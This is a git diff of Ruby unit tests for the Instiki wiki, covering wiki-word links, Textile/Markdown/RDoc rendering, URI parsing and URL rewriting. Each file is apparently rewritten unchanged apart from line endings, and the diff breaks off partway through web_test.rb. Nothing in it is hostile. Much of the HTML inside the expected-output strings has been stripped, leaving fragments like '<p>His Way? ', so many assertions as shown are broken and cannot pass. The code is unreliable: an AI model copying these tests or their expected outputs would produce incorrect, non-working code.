        ", - @revision.display_content - end - - def test_revisions_diff - - @page.revisions = [ - Revision.new(@page, 0, 'What a blue and lovely morning', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson'), - Revision.new(@page, 1, 'What a red and lovely morning today', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - ] - - assert_equal "

        What a blue red " + - "and lovely morningmorning " + - "today

        ", @page.revisions.last.display_diff - end - - def test_link_to_file - assert_markup_parsed_as( - '

        doc.pdf?

        ', - '[[doc.pdf:file]]') - end - - def test_link_to_pic - @wiki.file_yard(@web).upload_file('square.jpg', StringIO.new('')) - assert_markup_parsed_as( - '

        Square

        ', - '[[square.jpg|Square:pic]]') - assert_markup_parsed_as( - '

        square.jpg

        ', - '[[square.jpg:pic]]') - end - - def test_link_to_non_existant_pic - assert_markup_parsed_as( - '

        NonExistant?' + - '

        ', - '[[NonExistant.jpg|NonExistant:pic]]') - assert_markup_parsed_as( - '

        NonExistant.jpg?' + - '

        ', - '[[NonExistant.jpg:pic]]') - end - - # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; - # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug) - def __test_list_with_tildas - list_with_tildas = <<-EOL - * "a":~b - * c~ d - EOL - - assert_markup_parsed_as( - "
      • a
      • \n" + - "
      • c~ d
      • \n", - list_with_tildas) - end - - - - def assert_markup_parsed_as(expected_output, input) - revision = Revision.new(@page, 1, input, Time.local(2004, 4, 4, 16, 50), 'AnAuthor') - assert_equal expected_output, revision.display_content, 'Textile output not as expected' - end - -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'web' +require 'revision' +require 'fileutils' + +class RevisionTest < Test::Unit::TestCase + + def setup + setup_test_wiki + @web.markup = :textile + + @page = @wiki.read_page('wiki1', 'HomePage') + ['MyWay', 'SmartEngine', 'ThatWay'].each do |page| + @wiki.write_page('wiki1', page, page, Time.now, 'Me') + end + + @revision = Revision.new(@page, 1, + 'HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \OverThere -- ' + + 'see SmartEngine in that SmartEngineGUI', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + end + + def test_wiki_words + assert_equal %w( HisWay MyWay SmartEngine SmartEngineGUI ThatWay ), @revision.wiki_words.sort + end + + def test_existing_pages + assert_equal %w( MyWay SmartEngine ThatWay ), @revision.existing_pages.sort + end + + def test_unexisting_pages + assert_equal %w( HisWay SmartEngineGUI ), @revision.unexisting_pages.sort + end + + def test_content_with_wiki_links + assert_equal '

        His Way? ' + + 'would be My Way in kinda ' + + 'That Way in ' + + 'His Way? ' + + 'though My Way OverThere—see ' + + 'Smart Engine in that ' + + 'Smart Engine GUI' + + '?

        ', + @revision.display_content + end + + def test_bluecloth + @web.markup = :markdown + + assert_markup_parsed_as( + %{

        My Headline

        \n\n

        that } + + %{Smart Engine GUI?

        }, + "My Headline\n===========\n\n that SmartEngineGUI") + + code_block = [ + 'This is a code block:', + '', + ' def a_method(arg)', + ' return ThatWay', + '', + 'Nice!' + ].join("\n") + + assert_markup_parsed_as( + %{

        This is a code block:

        \n\n
        def a_method(arg)\n} +
        +	    %{return ThatWay\n
        \n\n

        Nice!

        }, + code_block) + end + + def test_rdoc + @web.markup = :rdoc + + @revision = Revision.new(@page, 1, '+hello+ that SmartEngineGUI', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + + assert_equal "hello that Smart Engine GUI" + + "?\n\n", @revision.display_content + end + + def test_content_with_auto_links + assert_markup_parsed_as( + '

        http://www.loudthinking.com/ ' + + 'points to That Way from ' + + 'david@loudthinking.com

        ', + 'http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com') + + end + + def test_content_with_aliased_links + assert_markup_parsed_as( + '

        Would a clever motor' + + ' go by any other name?

        ', + 'Would a [[SmartEngine|clever motor]] go by any other name?') + end + + def test_content_with_wikiword_in_em + assert_markup_parsed_as( + '

        should we go ' + + 'That Way or This Way?' + + '

        ', + '_should we go ThatWay or ThisWay _') + end + + def test_content_with_wikiword_in_tag + assert_markup_parsed_as( + '

        That is some Stylish Emphasis

        ', + 'That is some Stylish Emphasis') + end + + def test_content_with_escaped_wikiword + # there should be no wiki link + assert_markup_parsed_as('

        WikiWord

        ', '\WikiWord') + end + + def test_content_with_pre_blocks + assert_markup_parsed_as( + 'A class SmartEngine end would not mark up
        CodeBlocks
        ', + 'A class SmartEngine end would not mark up
        CodeBlocks
        ') + end + + def test_content_with_autolink_in_parentheses + assert_markup_parsed_as( + '

        The W3C body (' + + 'http://www.w3c.org) sets web standards

        ', + 'The W3C body (http://www.w3c.org) sets web standards') + end + + def test_content_with_link_in_parentheses + assert_markup_parsed_as( + '

        (What is a wiki?)

        ', + '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki)') + end + + def test_content_with_image_link + assert_markup_parsed_as( + '

        This is a Textile image link.

        ', + 'This !http://hobix.com/sample.jpg! is a Textile image link.') + end + + def test_content_with_nowiki_text + assert_markup_parsed_as( + '

        Do not mark up [[this text]] or http://www.thislink.com.

        ', + 'Do not mark up [[this text]] ' + + 'or http://www.thislink.com.') + end + + def test_content_with_bracketted_wiki_word + @web.brackets_only = true + assert_markup_parsed_as( + '

        This is a WikiWord and a tricky name ' + + 'Sperberg-McQueen?.

        ', + 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].') + end + + def test_content_for_export + assert_equal '

        His Way would be ' + + 'My Way in kinda ' + + 'That Way in ' + + 'His Way though ' + + 'My Way OverThere—see ' + + 'Smart Engine in that ' + + 'Smart Engine GUI

        ', + @revision.display_content_for_export + end + + def test_double_replacing + @revision.content = "VersionHistory\r\n\r\ncry VersionHistory" + assert_equal '

        Version History' + + "?

        \n\n\t

        cry " + + 'Version History?' + + '

        ', + @revision.display_content + + @revision.clear_display_cache + + @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory" + assert_equal "

        f
        \nVersion History" + + "?

        \n\n\t

        cry " + + "Version History?" + + "

        ", + @revision.display_content + end + + def test_difficult_wiki_words + @revision.content = "[[It's just awesome GUI!]]" + assert_equal "

        It's just awesome GUI!" + + "?

        ", + @revision.display_content + end + + def test_revisions_diff + + @page.revisions = [ + Revision.new(@page, 0, 'What a blue and lovely morning', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson'), + Revision.new(@page, 1, 'What a red and lovely morning today', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + ] + + assert_equal "

        What a blue red " + + "and lovely morningmorning " + + "today

        ", @page.revisions.last.display_diff + end + + def test_link_to_file + assert_markup_parsed_as( + '

        doc.pdf?

        ', + '[[doc.pdf:file]]') + end + + def test_link_to_pic + @wiki.file_yard(@web).upload_file('square.jpg', StringIO.new('')) + assert_markup_parsed_as( + '

        Square

        ', + '[[square.jpg|Square:pic]]') + assert_markup_parsed_as( + '

        square.jpg

        ', + '[[square.jpg:pic]]') + end + + def test_link_to_non_existant_pic + assert_markup_parsed_as( + '

        NonExistant?' + + '

        ', + '[[NonExistant.jpg|NonExistant:pic]]') + assert_markup_parsed_as( + '

        NonExistant.jpg?' + + '

        ', + '[[NonExistant.jpg:pic]]') + end + + # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; + # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug) + def __test_list_with_tildas + list_with_tildas = <<-EOL + * "a":~b + * c~ d + EOL + + assert_markup_parsed_as( + "
      • a
      • \n" + + "
      • c~ d
      • \n", + list_with_tildas) + end + + + + def assert_markup_parsed_as(expected_output, input) + revision = Revision.new(@page, 1, input, Time.local(2004, 4, 4, 16, 50), 'AnAuthor') + assert_equal expected_output, revision.display_content, 'Textile output not as expected' + end + +end diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index 2c6ab76c..b1df875f 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -1,179 +1,179 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'chunks/uri' - -class URITest < Test::Unit::TestCase - include ChunkMatch - - def test_non_matches - assert_conversion_does_not_apply(URIChunk, 'There is no URI here') - assert_conversion_does_not_apply(URIChunk, - 'One gemstone is the garnet:reddish in colour, like ruby') - end - - def test_simple_uri - # Simplest case - match(URIChunk, 'http://www.example.com', - :scheme =>'http', :host =>'www.example.com', :path => nil, - :link_text => 'http://www.example.com' - ) - # With trailing slash - match(URIChunk, 'http://www.example.com/', - :scheme =>'http', :host =>'www.example.com', :path => '/', - :link_text => 'http://www.example.com/' - ) - # Without http:// - match(URIChunk, 'www.example.com', - :scheme =>'http', :host =>'www.example.com', :link_text => 'www.example.com' - ) - # two parts - match(URIChunk, 'example.com', - :scheme =>'http',:host =>'example.com', :link_text => 'example.com' - ) - # "unusual" base domain (was a bug in an early version) - match(URIChunk, 'http://example.com.au/', - :scheme =>'http', :host =>'example.com.au', :link_text => 'http://example.com.au/' - ) - # "unusual" base domain without http:// - match(URIChunk, 'example.com.au', - :scheme =>'http', :host =>'example.com.au', :link_text => 'example.com.au' - ) - # Another "unusual" base domain - match(URIChunk, 'http://www.example.co.uk/', - :scheme =>'http', :host =>'www.example.co.uk', - :link_text => 'http://www.example.co.uk/' - ) - match(URIChunk, 'example.co.uk', - :scheme =>'http', :host =>'example.co.uk', :link_text => 'example.co.uk' - ) - # With some path at the end - match(URIChunk, 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation', - :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', - :link_text => 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation' - ) - # With some path at the end, and withot http:// prefix - match(URIChunk, 'moinmoin.wikiwikiweb.de/HelpOnNavigation', - :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', - :link_text => 'moinmoin.wikiwikiweb.de/HelpOnNavigation' - ) - # With a port number - match(URIChunk, 'http://www.example.com:80', - :scheme =>'http', :host =>'www.example.com', :port => '80', :path => nil, - :link_text => 'http://www.example.com:80') - # With a port number and a path - match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation', - :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', - :link_text => 'http://www.example.com.tw:80/HelpOnNavigation') - # With a query - match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation?arg=val', - :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', - :query => 'arg=val', - :link_text => 'http://www.example.com.tw:80/HelpOnNavigation?arg=val') - # Query with two arguments - match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation?arg=val&arg2=val2', - :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', - :query => 'arg=val&arg2=val2', - :link_text => 'http://www.example.com.tw:80/HelpOnNavigation?arg=val&arg2=val2') - # HTTPS - match(URIChunk, 'https://www.example.com', - :scheme =>'https', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, - :link_text => 'https://www.example.com') - # FTP - match(URIChunk, 'ftp://www.example.com', - :scheme =>'ftp', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, - :link_text => 'ftp://www.example.com') - # mailto - match(URIChunk, 'mailto:jdoe123@example.com', - :scheme =>'mailto', :host =>'example.com', :port => nil, :path => nil, :query => nil, - :user => 'jdoe123', :link_text => 'mailto:jdoe123@example.com') - # something nonexistant - match(URIChunk, 'foobar://www.example.com', - :scheme =>'foobar', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, - :link_text => 'foobar://www.example.com') - - # Soap opera (the most complex case imaginable... well, not really, there should be more evil) - match(URIChunk, 'http://www.example.com.tw:80/~jdoe123/Help%20Me%20?arg=val&arg2=val2', - :scheme =>'http', :host =>'www.example.com.tw', :port => '80', - :path => '/~jdoe123/Help%20Me%20', :query => 'arg=val&arg2=val2', - :link_text => 'http://www.example.com.tw:80/~jdoe123/Help%20Me%20?arg=val&arg2=val2') - end - - def test_email_uri - match(URIChunk, 'mail@example.com', - :user => 'mail', :host => 'example.com', :link_text => 'mail@example.com' - ) - end - - def test_non_email - # The @ is part of the normal text, but 'example.com' is marked up. - match(URIChunk, 'Not an email: @example.com', :user => nil, :uri => 'http://example.com') - end - - def test_non_uri - assert_conversion_does_not_apply URIChunk, 'httpd.conf' - assert_conversion_does_not_apply URIChunk, 'libproxy.so' - assert_conversion_does_not_apply URIChunk, 'ld.so.conf' - end - - def test_uri_in_text - match(URIChunk, 'Go to: http://www.example.com/', :host => 'www.example.com', :path =>'/') - match(URIChunk, 'http://www.example.com/ is a link.', :host => 'www.example.com') - match(URIChunk, - 'Email david@loudthinking.com', - :scheme =>'mailto', :user =>'david', :host =>'loudthinking.com') - # check that trailing punctuation is not included in the hostname - match(URIChunk, '"link":http://fake.link.com.', :scheme => 'http', :host => 'fake.link.com') - end - - def test_uri_in_parentheses - match(URIChunk, 'URI (http://brackets.com.de) in brackets', :host => 'brackets.com.de') - match(URIChunk, 'because (as shown at research.net) the results', :host => 'research.net') - match(URIChunk, - 'A wiki (http://wiki.org/wiki.cgi?WhatIsWiki) page', - :scheme => 'http', :host => 'wiki.org', :path => '/wiki.cgi', :query => 'WhatIsWiki' - ) - end - - def test_uri_list_item - match( - URIChunk, - '* http://www.btinternet.com/~mail2minh/SonyEricssonP80xPlatform.sis', - :path => '/~mail2minh/SonyEricssonP80xPlatform.sis' - ) - end - - def test_interesting_uri_with__comma - # Counter-intuitively, this URL matches, but the query part includes the trailing comma. - # It has no way to know that the query does not include the comma. - match( - URIChunk, - "This text contains a URL http://someplace.org:8080/~person/stuff.cgi?arg=val, doesn't it?", - :scheme => 'http', :host => 'someplace.org', :port => '8080', :path => '/~person/stuff.cgi', - :query => 'arg=val,') - end - - def test_local_urls - # normal - match(LocalURIChunk, 'http://perforce:8001/toto.html', - :scheme => 'http', :host => 'perforce', - :port => '8001', :link_text => 'http://perforce:8001/toto.html') - - # in parentheses - match(LocalURIChunk, 'URI (http://localhost:2500) in brackets', - :host => 'localhost', :port => '2500') - match(LocalURIChunk, 'because (as shown at http://perforce:8001) the results', - :host => 'perforce', :port => '8001') - match(LocalURIChunk, - 'A wiki (http://localhost:2500/wiki.cgi?WhatIsWiki) page', - :scheme => 'http', :host => 'localhost', :path => '/wiki.cgi', - :port => '2500', :query => 'WhatIsWiki') - end - - def assert_conversion_does_not_apply(chunk_type, str) - processed_str = str.dup - URIChunk.apply_to(processed_str) - assert_equal(str, processed_str) - end - -end +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'chunks/uri' + +class URITest < Test::Unit::TestCase + include ChunkMatch + + def test_non_matches + assert_conversion_does_not_apply(URIChunk, 'There is no URI here') + assert_conversion_does_not_apply(URIChunk, + 'One gemstone is the garnet:reddish in colour, like ruby') + end + + def test_simple_uri + # Simplest case + match(URIChunk, 'http://www.example.com', + :scheme =>'http', :host =>'www.example.com', :path => nil, + :link_text => 'http://www.example.com' + ) + # With trailing slash + match(URIChunk, 'http://www.example.com/', + :scheme =>'http', :host =>'www.example.com', :path => '/', + :link_text => 'http://www.example.com/' + ) + # Without http:// + match(URIChunk, 'www.example.com', + :scheme =>'http', :host =>'www.example.com', :link_text => 'www.example.com' + ) + # two parts + match(URIChunk, 'example.com', + :scheme =>'http',:host =>'example.com', :link_text => 'example.com' + ) + # "unusual" base domain (was a bug in an early version) + match(URIChunk, 'http://example.com.au/', + :scheme =>'http', :host =>'example.com.au', :link_text => 'http://example.com.au/' + ) + # "unusual" base domain without http:// + match(URIChunk, 'example.com.au', + :scheme =>'http', :host =>'example.com.au', :link_text => 'example.com.au' + ) + # Another "unusual" base domain + match(URIChunk, 'http://www.example.co.uk/', + :scheme =>'http', :host =>'www.example.co.uk', + :link_text => 'http://www.example.co.uk/' + ) + match(URIChunk, 'example.co.uk', + :scheme =>'http', :host =>'example.co.uk', :link_text => 'example.co.uk' + ) + # With some path at the end + match(URIChunk, 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation', + :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', + :link_text => 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation' + ) + # With some path at the end, and withot http:// prefix + match(URIChunk, 'moinmoin.wikiwikiweb.de/HelpOnNavigation', + :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', + :link_text => 'moinmoin.wikiwikiweb.de/HelpOnNavigation' + ) + # With a port number + match(URIChunk, 'http://www.example.com:80', + :scheme =>'http', :host =>'www.example.com', :port => '80', :path => nil, + :link_text => 'http://www.example.com:80') + # With a port number and a path + match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', + :link_text => 'http://www.example.com.tw:80/HelpOnNavigation') + # With a query + match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation?arg=val', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', + :query => 'arg=val', + :link_text => 'http://www.example.com.tw:80/HelpOnNavigation?arg=val') + # Query with two arguments + match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation?arg=val&arg2=val2', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', + :query => 'arg=val&arg2=val2', + :link_text => 'http://www.example.com.tw:80/HelpOnNavigation?arg=val&arg2=val2') + # HTTPS + match(URIChunk, 'https://www.example.com', + :scheme =>'https', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, + :link_text => 'https://www.example.com') + # FTP + match(URIChunk, 'ftp://www.example.com', + :scheme =>'ftp', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, + :link_text => 'ftp://www.example.com') + # mailto + match(URIChunk, 'mailto:jdoe123@example.com', + :scheme =>'mailto', :host =>'example.com', :port => nil, :path => nil, :query => nil, + :user => 'jdoe123', :link_text => 'mailto:jdoe123@example.com') + # something nonexistant + match(URIChunk, 'foobar://www.example.com', + :scheme =>'foobar', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, + :link_text => 'foobar://www.example.com') + + # Soap opera (the most complex case imaginable... well, not really, there should be more evil) + match(URIChunk, 'http://www.example.com.tw:80/~jdoe123/Help%20Me%20?arg=val&arg2=val2', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', + :path => '/~jdoe123/Help%20Me%20', :query => 'arg=val&arg2=val2', + :link_text => 'http://www.example.com.tw:80/~jdoe123/Help%20Me%20?arg=val&arg2=val2') + end + + def test_email_uri + match(URIChunk, 'mail@example.com', + :user => 'mail', :host => 'example.com', :link_text => 'mail@example.com' + ) + end + + def test_non_email + # The @ is part of the normal text, but 'example.com' is marked up. + match(URIChunk, 'Not an email: @example.com', :user => nil, :uri => 'http://example.com') + end + + def test_non_uri + assert_conversion_does_not_apply URIChunk, 'httpd.conf' + assert_conversion_does_not_apply URIChunk, 'libproxy.so' + assert_conversion_does_not_apply URIChunk, 'ld.so.conf' + end + + def test_uri_in_text + match(URIChunk, 'Go to: http://www.example.com/', :host => 'www.example.com', :path =>'/') + match(URIChunk, 'http://www.example.com/ is a link.', :host => 'www.example.com') + match(URIChunk, + 'Email david@loudthinking.com', + :scheme =>'mailto', :user =>'david', :host =>'loudthinking.com') + # check that trailing punctuation is not included in the hostname + match(URIChunk, '"link":http://fake.link.com.', :scheme => 'http', :host => 'fake.link.com') + end + + def test_uri_in_parentheses + match(URIChunk, 'URI (http://brackets.com.de) in brackets', :host => 'brackets.com.de') + match(URIChunk, 'because (as shown at research.net) the results', :host => 'research.net') + match(URIChunk, + 'A wiki (http://wiki.org/wiki.cgi?WhatIsWiki) page', + :scheme => 'http', :host => 'wiki.org', :path => '/wiki.cgi', :query => 'WhatIsWiki' + ) + end + + def test_uri_list_item + match( + URIChunk, + '* http://www.btinternet.com/~mail2minh/SonyEricssonP80xPlatform.sis', + :path => '/~mail2minh/SonyEricssonP80xPlatform.sis' + ) + end + + def test_interesting_uri_with__comma + # Counter-intuitively, this URL matches, but the query part includes the trailing comma. + # It has no way to know that the query does not include the comma. + match( + URIChunk, + "This text contains a URL http://someplace.org:8080/~person/stuff.cgi?arg=val, doesn't it?", + :scheme => 'http', :host => 'someplace.org', :port => '8080', :path => '/~person/stuff.cgi', + :query => 'arg=val,') + end + + def test_local_urls + # normal + match(LocalURIChunk, 'http://perforce:8001/toto.html', + :scheme => 'http', :host => 'perforce', + :port => '8001', :link_text => 'http://perforce:8001/toto.html') + + # in parentheses + match(LocalURIChunk, 'URI (http://localhost:2500) in brackets', + :host => 'localhost', :port => '2500') + match(LocalURIChunk, 'because (as shown at http://perforce:8001) the results', + :host => 'perforce', :port => '8001') + match(LocalURIChunk, + 'A wiki (http://localhost:2500/wiki.cgi?WhatIsWiki) page', + :scheme => 'http', :host => 'localhost', :path => '/wiki.cgi', + :port => '2500', :query => 'WhatIsWiki') + end + + def assert_conversion_does_not_apply(chunk_type, str) + processed_str = str.dup + URIChunk.apply_to(processed_str) + assert_equal(str, processed_str) + end + +end diff --git a/test/unit/url_rewriting_hack_test.rb b/test/unit/url_rewriting_hack_test.rb index cf615727..da1317b2 100755 --- a/test/unit/url_rewriting_hack_test.rb +++ b/test/unit/url_rewriting_hack_test.rb @@ -1,92 +1,92 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'url_rewriting_hack' - -class UrlRewritingHackTest < Test::Unit::TestCase - - def test_parse_uri - assert_equal({:controller => 'wiki', :action => 'x', :web => nil}, - DispatchServlet.parse_uri('/x/')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, - DispatchServlet.parse_uri('/x/y')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, - DispatchServlet.parse_uri('/x/y/')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, - DispatchServlet.parse_uri('/x/y/z')) - assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, - DispatchServlet.parse_uri('/x/y/z/')) - end - - def test_parse_uri_approot - assert_equal({:controller => 'wiki', :action => 'index', :web => nil}, - DispatchServlet.parse_uri('/wiki/')) - end - - def test_parse_uri_interestng_cases - - assert_equal({:web => '_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_', - :controller => 'wiki', - :action => 'an_action', :id => 'HomePage' - }, - DispatchServlet.parse_uri( - '/_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_/an_action/HomePage') - ) - - assert_equal false, DispatchServlet.parse_uri('') - assert_equal false, DispatchServlet.parse_uri('//') - assert_equal false, DispatchServlet.parse_uri('web') - end - - def test_parse_uri_liberal_with_pagenames - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', :id => '$HOME_PAGE'}, - DispatchServlet.parse_uri('/web/show/$HOME_PAGE')) - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', - :id => 'HomePage/something_else'}, - DispatchServlet.parse_uri('/web/show/HomePage/something_else')) - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', - :id => 'HomePage?arg1=value1&arg2=value2'}, - DispatchServlet.parse_uri('/web/show/HomePage?arg1=value1&arg2=value2')) - - assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', - :id => 'Page+With+Spaces'}, - DispatchServlet.parse_uri('/web/show/Page+With+Spaces')) - end - - def test_url_rewriting - request = ActionController::TestRequest.new - ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') - - assert_equal 'http://test.host/myweb/myaction', - ur.rewrite(:web => 'myweb', :controller => 'wiki', :action => 'myaction') - - assert_equal 'http://test.host/myOtherWeb/', - ur.rewrite(:web => 'myOtherWeb', :controller => 'wiki') - - assert_equal 'http://test.host/myaction', - ur.rewrite(:controller => 'wiki', :action => 'myaction') - - assert_equal 'http://test.host/', - ur.rewrite(:controller => 'wiki') - end - - def test_controller_mapping - request = ActionController::TestRequest.new - ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') - - assert_equal 'http://test.host/file', - ur.rewrite(:controller => 'file', :action => 'file') - assert_equal 'http://test.host/pic/abc.jpg', - ur.rewrite(:controller => 'file', :action => 'pic', :id => 'abc.jpg') - assert_equal 'http://test.host/web/pic/abc.jpg', - ur.rewrite(:web => 'web', :controller => 'file', :action => 'pic', :id => 'abc.jpg') - - # default option is wiki - assert_equal 'http://test.host/unknown_action', - ur.rewrite(:controller => 'wiki', :action => 'unknown_action') - end - +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'url_rewriting_hack' + +class UrlRewritingHackTest < Test::Unit::TestCase + + def test_parse_uri + assert_equal({:controller => 'wiki', :action => 'x', :web => nil}, + DispatchServlet.parse_uri('/x/')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, + DispatchServlet.parse_uri('/x/y')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y'}, + DispatchServlet.parse_uri('/x/y/')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, + DispatchServlet.parse_uri('/x/y/z')) + assert_equal({:web => 'x', :controller => 'wiki', :action => 'y', :id => 'z'}, + DispatchServlet.parse_uri('/x/y/z/')) + end + + def test_parse_uri_approot + assert_equal({:controller => 'wiki', :action => 'index', :web => nil}, + DispatchServlet.parse_uri('/wiki/')) + end + + def test_parse_uri_interestng_cases + + assert_equal({:web => '_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_', + :controller => 'wiki', + :action => 'an_action', :id => 'HomePage' + }, + DispatchServlet.parse_uri( + '/_veeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeery-long_web_/an_action/HomePage') + ) + + assert_equal false, DispatchServlet.parse_uri('') + assert_equal false, DispatchServlet.parse_uri('//') + assert_equal false, DispatchServlet.parse_uri('web') + end + + def test_parse_uri_liberal_with_pagenames + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', :id => '$HOME_PAGE'}, + DispatchServlet.parse_uri('/web/show/$HOME_PAGE')) + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', + :id => 'HomePage/something_else'}, + DispatchServlet.parse_uri('/web/show/HomePage/something_else')) + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', + :id => 'HomePage?arg1=value1&arg2=value2'}, + DispatchServlet.parse_uri('/web/show/HomePage?arg1=value1&arg2=value2')) + + assert_equal({:controller => 'wiki', :web => 'web', :action => 'show', + :id => 'Page+With+Spaces'}, + DispatchServlet.parse_uri('/web/show/Page+With+Spaces')) + end + + def test_url_rewriting + request = ActionController::TestRequest.new + ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') + + assert_equal 'http://test.host/myweb/myaction', + ur.rewrite(:web => 'myweb', :controller => 'wiki', :action => 'myaction') + + assert_equal 'http://test.host/myOtherWeb/', + ur.rewrite(:web => 'myOtherWeb', :controller => 'wiki') + + assert_equal 'http://test.host/myaction', + ur.rewrite(:controller => 'wiki', :action => 'myaction') + + assert_equal 'http://test.host/', + ur.rewrite(:controller => 'wiki') + end + + def test_controller_mapping + request = ActionController::TestRequest.new + ur = ActionController::UrlRewriter.new(request, 'wiki', 'show') + + assert_equal 'http://test.host/file', + ur.rewrite(:controller => 'file', :action => 'file') + assert_equal 'http://test.host/pic/abc.jpg', + ur.rewrite(:controller => 'file', :action => 'pic', :id => 'abc.jpg') + assert_equal 'http://test.host/web/pic/abc.jpg', + ur.rewrite(:web => 'web', :controller => 'file', :action => 'pic', :id => 'abc.jpg') + + # default option is wiki + assert_equal 'http://test.host/unknown_action', + ur.rewrite(:controller => 'wiki', :action => 'unknown_action') + end + end \ No newline at end of file diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb index 072a0429..57e9a61a 100755 --- a/test/unit/web_test.rb +++ b/test/unit/web_test.rb @@ -1,130 +1,130 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_service' - -class WebTest < Test::Unit::TestCase - def setup - @web = Web.new nil, 'Instiki', 'instiki' - end - - def test_wiki_word_linking - @web.add_page(Page.new(@web, 'SecondPage', 'Yo, yo. Have you EverBeenHated', Time.now, - 'DavidHeinemeierHansson')) - - assert_equal('

        Yo, yo. Have you Ever Been Hated' + - '?

        ', - @web.pages["SecondPage"].display_content) - - @web.add_page(Page.new(@web, 'EverBeenHated', 'Yo, yo. Have you EverBeenHated', Time.now, - 'DavidHeinemeierHansson')) - assert_equal('

        Yo, yo. Have you Ever Been Hated

        ', - @web.pages['SecondPage'].display_content) - end - - def test_pages_by_revision - add_sample_pages - assert_equal 'EverBeenHated', @web.select.by_revision.first.name - end - - def test_pages_by_match - add_sample_pages - assert_equal 2, @web.select { |page| page.content =~ /me/i }.length - assert_equal 1, @web.select { |page| page.content =~ /Who/i }.length - assert_equal 0, @web.select { |page| page.content =~ /none/i }.length - end - - def test_references - add_sample_pages - assert_equal 1, @web.select.pages_that_reference('EverBeenHated').length - assert_equal 0, @web.select.pages_that_reference('EverBeenInLove').length - end - - def test_delete - add_sample_pages - assert_equal 2, @web.pages.length - @web.remove_pages([ @web.pages['EverBeenInLove'] ]) - assert_equal 1, @web.pages.length - end - - def test_make_link - add_sample_pages - - existing_page_wiki_url = - 'Ever Been In Love' - existing_page_published_url = - 'Ever Been In Love' - existing_page_static_url = - 'Ever Been In Love' - new_page_wiki_url = - 'Unknown Word?' - new_page_published_url = - new_page_static_url = - 'Unknown Word' - - # no options - assert_equal existing_page_wiki_url, @web.make_link('EverBeenInLove') - - # :mode => :export - assert_equal existing_page_static_url, @web.make_link('EverBeenInLove', nil, :mode => :export) - - # 